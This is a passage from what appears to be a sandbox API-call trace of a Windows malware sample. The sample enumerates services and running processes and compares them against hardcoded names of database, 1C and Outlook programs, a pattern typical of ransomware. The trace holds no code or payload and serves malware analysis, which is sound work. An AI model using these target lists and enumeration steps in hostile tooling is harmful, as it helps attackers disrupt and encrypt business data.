(lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0149.001] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0149.001] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0149.001] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0149.001] lstrlenW (lpString="LanmanWorkstation") returned 17 [0149.001] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.001] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0149.002] lstrlenW (lpString="lmhosts") returned 7 [0149.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0149.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0149.002] lstrlenW (lpString="MMCSS") returned 5 [0149.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0149.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0149.002] lstrlenW (lpString="MpsSvc") returned 6 [0149.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0149.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0149.002] lstrlenW (lpString="Netman") returned 6 [0149.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0149.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0149.002] lstrlenW (lpString="netprofm") returned 8 [0149.002] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0149.002] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0149.002] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0149.002] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0149.002] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0149.003] lstrlenW (lpString="NlaSvc") returned 6 [0149.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0149.003] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0149.003] lstrlenW (lpString="nsi") returned 3 [0149.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0149.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0149.003] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0149.003] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0149.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0149.003] lstrlenW (lpString="PcaSvc") returned 6 [0149.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0149.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0149.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0149.003] lstrlenW (lpString="PlugPlay") returned 8 [0149.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0149.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0149.003] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0149.003] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0149.003] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0149.003] lstrlenW (lpString="Power") returned 5 [0149.003] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0149.003] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0149.003] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0149.003] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0149.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0149.004] lstrlenW (lpString="ProfSvc") returned 7 [0149.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0149.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0149.004] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0149.004] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0149.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0149.004] lstrlenW (lpString="RpcEptMapper") returned 12 [0149.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0149.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0149.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0149.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0149.004] lstrlenW (lpString="RpcSs") returned 5 [0149.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0149.004] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0149.004] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0149.004] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0149.004] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0149.004] lstrlenW (lpString="SamSs") returned 5 [0149.004] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0149.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0149.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0149.005] lstrlenW (lpString="Schedule") returned 8 [0149.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0149.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0149.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0149.005] lstrlenW (lpString="SENS") returned 4 [0149.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0149.005] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0149.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0149.005] lstrlenW (lpString="ShellHWDetection") returned 16 [0149.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0149.005] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0149.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0149.005] lstrlenW (lpString="Spooler") returned 7 [0149.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0149.005] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0149.005] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0149.005] lstrlenW (lpString="SysMain") returned 7 [0149.005] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0149.005] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0149.005] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0149.006] lstrlenW (lpString="Themes") returned 6 [0149.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0149.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0149.006] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0149.006] lstrlenW (lpString="TrkWks") returned 6 [0149.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0149.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0149.006] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0149.006] lstrlenW (lpString="UxSms") returned 5 [0149.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0149.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0149.006] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0149.006] lstrlenW (lpString="WdiServiceHost") returned 14 [0149.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0149.006] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0149.006] lstrlenW (lpString="WdiSystemHost") returned 13 [0149.006] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.006] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0149.006] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0149.006] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0149.006] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0149.007] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0149.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0149.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0149.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0149.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0149.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0149.007] lstrlenW (lpString="Winmgmt") returned 7 [0149.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0149.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0149.007] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0149.007] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0149.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0149.007] lstrlenW (lpString="WPDBusEnum") returned 10 [0149.007] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.007] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0149.007] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0149.007] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0149.007] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0149.007] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x69c4f0 | out: hHeap=0x630000) returned 1 [0149.007] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1d4 [0149.009] Process32FirstW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0149.009] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0149.009] lstrlenW (lpString="System") returned 6 [0149.010] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0149.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0149.010] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0149.010] lstrlenW (lpString="smss.exe") returned 8 [0149.010] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0149.010] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0149.010] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.011] lstrlenW (lpString="csrss.exe") returned 9 [0149.011] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.011] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.011] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.011] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x13c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0149.011] lstrlenW (lpString="wininit.exe") returned 11 [0149.011] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0149.011] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0149.012] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0149.012] lstrlenW (lpString="csrss.exe") returned 9 [0149.012] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0149.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0149.012] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0149.012] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0149.012] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0149.012] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0149.012] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0149.012] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0149.012] lstrlenW (lpString="winlogon.exe") returned 12 [0149.012] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0149.012] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0149.012] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0149.013] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0149.013] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0149.013] lstrlenW (lpString="services.exe") returned 12 [0149.013] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0149.013] lstrlenW (lpString="lsass.exe") returned 9 [0149.013] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0149.014] lstrlenW (lpString="lsm.exe") returned 7 [0149.014] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.014] lstrlenW (lpString="svchost.exe") returned 11 [0149.014] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.014] lstrlenW (lpString="svchost.exe") returned 11 [0149.014] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.015] lstrlenW (lpString="svchost.exe") returned 11 [0149.015] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.015] lstrlenW (lpString="svchost.exe") returned 11 [0149.015] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2d, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.016] lstrlenW (lpString="svchost.exe") returned 11 [0149.016] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0149.016] lstrlenW (lpString="audiodg.exe") returned 11 [0149.016] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.016] lstrlenW (lpString="svchost.exe") returned 11 [0149.016] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0149.017] lstrlenW (lpString="userinit.exe") returned 12 [0149.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0149.017] lstrlenW (lpString="explorer.exe") returned 12 [0149.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x41c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x324, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0149.017] lstrlenW (lpString="dwm.exe") returned 7 [0149.017] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x450, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.018] lstrlenW (lpString="svchost.exe") returned 11 [0149.018] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x3a4, pcPriClassBase=8, dwFlags=0x0, szExeFile="n.exe")) returned 1 [0149.018] lstrlenW (lpString="n.exe") returned 5 [0149.018] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x510, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0149.018] lstrlenW (lpString="spoolsv.exe") returned 11 [0149.018] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0149.019] lstrlenW (lpString="svchost.exe") returned 11 [0149.019] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x584, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0149.019] lstrlenW (lpString="taskhost.exe") returned 12 [0149.019] Process32NextW (in: hSnapshot=0x1d4, lppe=0x1f4fd34 | out: lppe=0x1f4fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4f0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 